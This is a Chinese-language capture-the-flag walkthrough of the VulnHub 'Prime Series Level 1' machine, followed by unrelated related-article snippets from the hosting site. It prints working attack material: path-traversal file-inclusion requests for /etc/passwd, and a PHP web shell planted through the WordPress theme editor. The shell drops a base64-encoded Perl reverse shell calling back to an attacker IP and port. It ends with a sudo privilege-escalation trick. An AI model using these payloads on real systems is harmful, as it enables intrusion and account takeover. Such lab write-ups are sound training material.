VulnHub Prime_Series_Level-1

一、信息收集

1.nmap扫描

┌──(root💀kali)-[~/桌面]
└─# arp-scan -l

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.202

发现开放了22和80端口

2.web页面

打开80端口的web页面,是一张静态的图片,没什么价值,看看页面源代码

右击查看网页源代码,也没有发现什么有价值的信息

3.目录扫描

┌──(root💀kali)-[~/桌面]
└─# dirsearch -u http://192.168.103.202

扫描发现有/dev、/javascript、/wordpress/wp-login.php目录

/dev这个目录比较可疑,不常见,访问下看看

他提示我们,要非常努力的使用工具去深挖web。说明我们的扫描还没有扫描完全,没有挖透,所以,这里利用dirb + X参数目录扫描工具再进行加一些参数,搞一个字典再进行目录爆破

我们可以选择带有.txt和.zip的一些文件后缀名再进行目录扫描一下

┌──(root💀kali)-[~/桌面]
└─# dirb http://192.168.103.202 -X .zip,.txt

打开一下这个扫描出来的.txt文件,查看一下文件内容:

下面圈起来,就是以下内容提示的重点了

//解释:
在你发现的每个php页面进行模糊测试吧,如果你得到了任何正确的参数,就跟着如下的步骤进行。
如果你依然卡住,学习一些OSCP基本工具的使用,
链接是https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web,
当你有了下一步进展之后去看看location.txt

并给出了模糊测试工具的github链接,同时还提示了我们有了下一步进展之后去看看location.txt。那么我们首先要做的应该是去寻找php页面。依旧使用dirb

┌──(root💀kali)-[~/桌面]
└─# dirb http://192.168.103.202 -X .zip,.txt,.php

两个.php:image.php index.php

二、漏洞利用

1.wfuzz

先查看下那个gethub提示的那个链接:

可找到参数应该是-c高亮显示,-w 使用字典进行尝试,把需要测试的页面改为image.php即可,github链接中还给出了范例命令

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://website.com/secret.php?FUZZ=something

测试.php的目录命令,如下:

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  http://192.168.103.202/index.php?FUZZ=

这个结果可以看到,列表中的Chars列基本都是136 Ch

使用参数--hh 136 进行过滤,显示Chars列结果不含136的payload

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.103.202/index.php?FUZZ

成功找到了一个payload!名为file,这应该是我们要关注的位置。我们用curl或浏览器查看192.168.103.202/index.php?file

curl 192.168.103.202/index.php?file

发现比起前面的图片,多了这两句话

他这里提示,我们挖错文件了。

想起了刚才的secret.txt提示我们有了下一步进展之后去看看location.txt,那我们就把location.txt作为参数传给file试试:

curl http://192.168.103.202/index.php?file=location.txt

提示修改传参的参数,并且使用别的.php文件:

curl http://192.168.103.202/image.php?secrettier360

提示我,说拿到了正确的参数,现在可以用这个参数进行传参数了,这个一看传参,就想到了应该会有文件包含漏洞

2.文件包含

先不管啥,一般文件包含,先试试读取一下/etc/passwd文件

发现成功读取到了/etc/passwd

http://192.168.103.202/image.php?secrettier360=../../../../../../etc/passwd

成功读取并回显了/etc/passwd,浏览器的效果看的头晕,还是用curl看一下**

┌──(root💀kali)-[~/桌面]
└─# curl http://192.168.103.202/image.php?secrettier360=../../../../../../etc/passwd

发现root,victor账户有bash环境,同时还在saket发现一句话,find password.txt file in my directory:/home/saket莫非是提醒我们在/home/saket/password.txt存在信息? 那我们再用文件包含看一下/home/saket/password.txt

文件包含漏洞访问之后,password.txt中写了follow_the_ippsec ,怀疑这可能是某个账号的密码,应该是个很关键的信息。最后再试试能不能直接访问/etc/shadow。很遗憾,并不行,浏览器和curl都无法看到回显。

3.wordpress CMS渗透

follow_the_ippsec应该就是一个密码,开始发现了开启了22端口,所以,试试ssh登录,账号用开始/etc/passwd上面的root,victor,saket,但是发现都失败了

之前的那个用dirb扫描的目录,还有一个wordpress,这个还没有去渗透测试,所以,现在把方向放wordpress上面

说不定是wordpress这个cms的后台登录密码

先访问目录:

发现用户名:victor用户

这个是wp的默认登录位置:

http://192.168.103.202/wordpress/wp-admin/

发现,成功登录进去了

用户名:victor
密码:follow_the_ippsec

通过这个步骤,去找找里面哪些具有可写,可执行,且具有可以保存的功能的.php文件

之前写过一个这种类似的,可以利用404.php来写入一个反弹shell的木马,但是这个WP,发现没有提交这个功能,所以得去找,哪个具有可写入以及可提交的.php文件

然后再secret.php文件找到可以写入,并且有提交保存的功能的.php文件

/* Ohh Finaly you got a writable file */

4.反弹shell

GIF89a
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.103.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

点击提交保存成功

在这里面可以找到哪个secret.php的文件上传的位置

/themes/twentynineteen/

因此我们要访问的路径就是/themes/twentynineteen/secret.php,至于/themes前面的路径是啥,应该是wordpress主题的固定路径,也就是/wordpress/wp-content,这个可以在互联网上搜索到wordpress的主题编辑页面的路径。因此完整的路径是:

http://192.168.103.202/wordpress/wp-content/themes/twentynineteen/secret.phppython -c 'import pty; pty.spawn ("/bin/bash")'  #交互式shell

可以看到反弹成功了

三、提权

1.user.flag

开始我是直接到/home,查看有什么可以利用的账户,发现了saket账户里面有passwd和user

账号:saket
密码:tribute_to_ippsec

user.txt是一串数字,这应该就是user的flag

2.ssh连接

账号:saket
密码:tribute_to_ippsecpython -c "import pty;pty.spawn('/bin/bash')"  #交互式shell

3.sudo提权

提示我们,可以无密码的形式以root运行/home/victor/undefeated_victor,那咱就运行试试:

sudo /home/victor/undefeated_victor

我们去/tmp目录下看看有没有这个challenge文件,发现确实不存在

echo的方式创建challenge并追加命令:

echo '#!/bin/bash' > challenge
echo '/bin/bash' >> challenge

saket@ubuntu:/tmp$ chmod -R 777 challenge
saket@ubuntu:/tmp$ ls -la
-rwxrwxrwx  1 saket    saket      22 Nov  8 21:09 challenge

这样应该就可以执行了,再次执行/home/victor/undefeated_victor,即可提权成功

sudo /home/victor/undefeated_victor

4.root.flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/178844.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mybatis-Plus条件构造器QueryWrapper

Mybatis-Plus条件构造器QueryWrapper 1、条件构造器关系介绍 介绍 &#xff1a; 上图绿色框为抽象类 蓝色框为正常类&#xff0c;可创建对象 黄色箭头指向为父子类关系&#xff0c;箭头指向为父类 wapper介绍 &#xff1a; Wrapper &#xff1a; 条件构造抽象类&#xff0…

ctfshow 文件上传 151-161

文件上传也好久没做了。。 手很生了 151 前端绕过 只能上传png文件 使用bp抓包&#xff0c;修改文件名后缀为php 上传成功&#xff0c;发现文件上传路径 使用蚁剑连接 找到flag 152 152 后端校验 跟上一关一样 表示后面即使执行错误&#xff0c;也不报错 抓包修改文件…

【C++面向对象】10. 多态

文章目录 【 前言 】【 虚函数 】【 纯虚函数 】 【 前言 】 多态按字面的意思就是多种形态。当 类之间存在层次结构&#xff0c;并且类之间是通过继承关联时 &#xff0c;就会用到多态。 C 多态意味着调用成员函数时&#xff0c;会根据调用函数的对象的类型来执行不同的函数…

nodejs+express重定向

前言&#xff1a; 本篇代码中需要安装的依赖包包括&#xff1a;request、express 1.常用重定向方法 nodejs中的重定向可以使用.redirect()方法&#xff0c;该方法中可以传两个参数&#xff1a;code和path&#xff0c;code指重定向时&#xff0c;当前访问的这个接口的返回码3…

技巧篇:Mac 环境PyCharm 配置 python Anaconda

Mac 中 PyCharm 配置 python Anaconda环境 在 python 开发中我们最常用的IDE就是PyCharm&#xff0c;有关PyCharm的优点这里就不在赘述。在项目开发中我们经常用到许多第三方库&#xff0c;用的最多的命令就是pip install 第三方库名 进行安装。现在你可以使用一个工具来帮你解…

threejs (四) 纹理 Texture

定义&#xff1a;纹理图片&#xff08;或canvas/video等&#xff09;映射到物体表面&#xff0c;或者作为反射、折射贴图&#xff0c;也就是物体的皮肤。 1、纹理贴图分类 map&#xff1a;颜色贴图&#xff0c;存储颜色信息bumpMap&#xff1a;凹凸贴图&#xff0c;性能贴图&…

基于SpringBoot+Vue的在线外卖管理系统

基于SpringBootVue的在线外卖管理系统的设计与实现~ 开发语言&#xff1a;Java数据库&#xff1a;MySQL技术&#xff1a;SpringBootMyBatisVue工具&#xff1a;IDEA/Ecilpse、Navicat、Maven 系统展示 主页 下单界面 登录界面 商家界面 摘要 本文介绍了一种基于Spring Boot和…

绩效考核管理项目|记录1

项目用C#winformSQL Server写的&#xff0c;现在记录一下学习到的新东西。 winform工具 splitContainer&#xff1a;分割出两个容器&#xff0c;能添加面板之类的工具 treeview&#xff1a;展示标签页的分层集合&#xff08;用户管理、基数管理......&#xff09;&#xff0…

分享篇:我用数据分析做副业

主业是数据分析专家&#xff0c;副业是数据咨询顾问&#xff0c;过去十年里面利用数据分析发家致富 人生苦短&#xff0c;我学Python&#xff01; 利用技能可以解决的问题&#xff0c;哪些场景下可以催生出需求&#xff0c;深度剖析数据分析的技能树 由浅入深&#xff0c;一个…

js 变量声明与赋值 笔试踩坑题

文章目录 概述函数声明函数形参与实参函数预编译用一个例子说明一下&#xff0c;这四个步骤分别要干些什么。重复四个步骤&#xff0c;反复练习一下 全局编译多重执行期上下文 概述 别小看变量声明与赋值&#xff0c;在所有的笔试中&#xff0c;基本都会考&#xff0c;这个要多…

JS-项目实战-鼠标悬浮变手势(鼠标放单价上生效)

1、鼠标悬浮和离开事件.js //当页面加载完成后执行后面的匿名函数 window.onload function () {//get:获取 Element:元素 By:通过...方式//getElementById()根据id值获取某元素let fruitTbl document.getElementById("fruit_tbl");//table.rows:获取这个表格…

git 命令行回退版本

git 命令行回退版本 git 命令行回退版本命令: 1.切换到需要回退的分支 git checkout branch-v2.0.02.更新远程分支 git fetch3.找到需要回退版本的版本号git revert a6914da55ff40a09e67ac2426b86f1212e6580eb4.清除工作区缓存git clean -df5.强制提交git push -f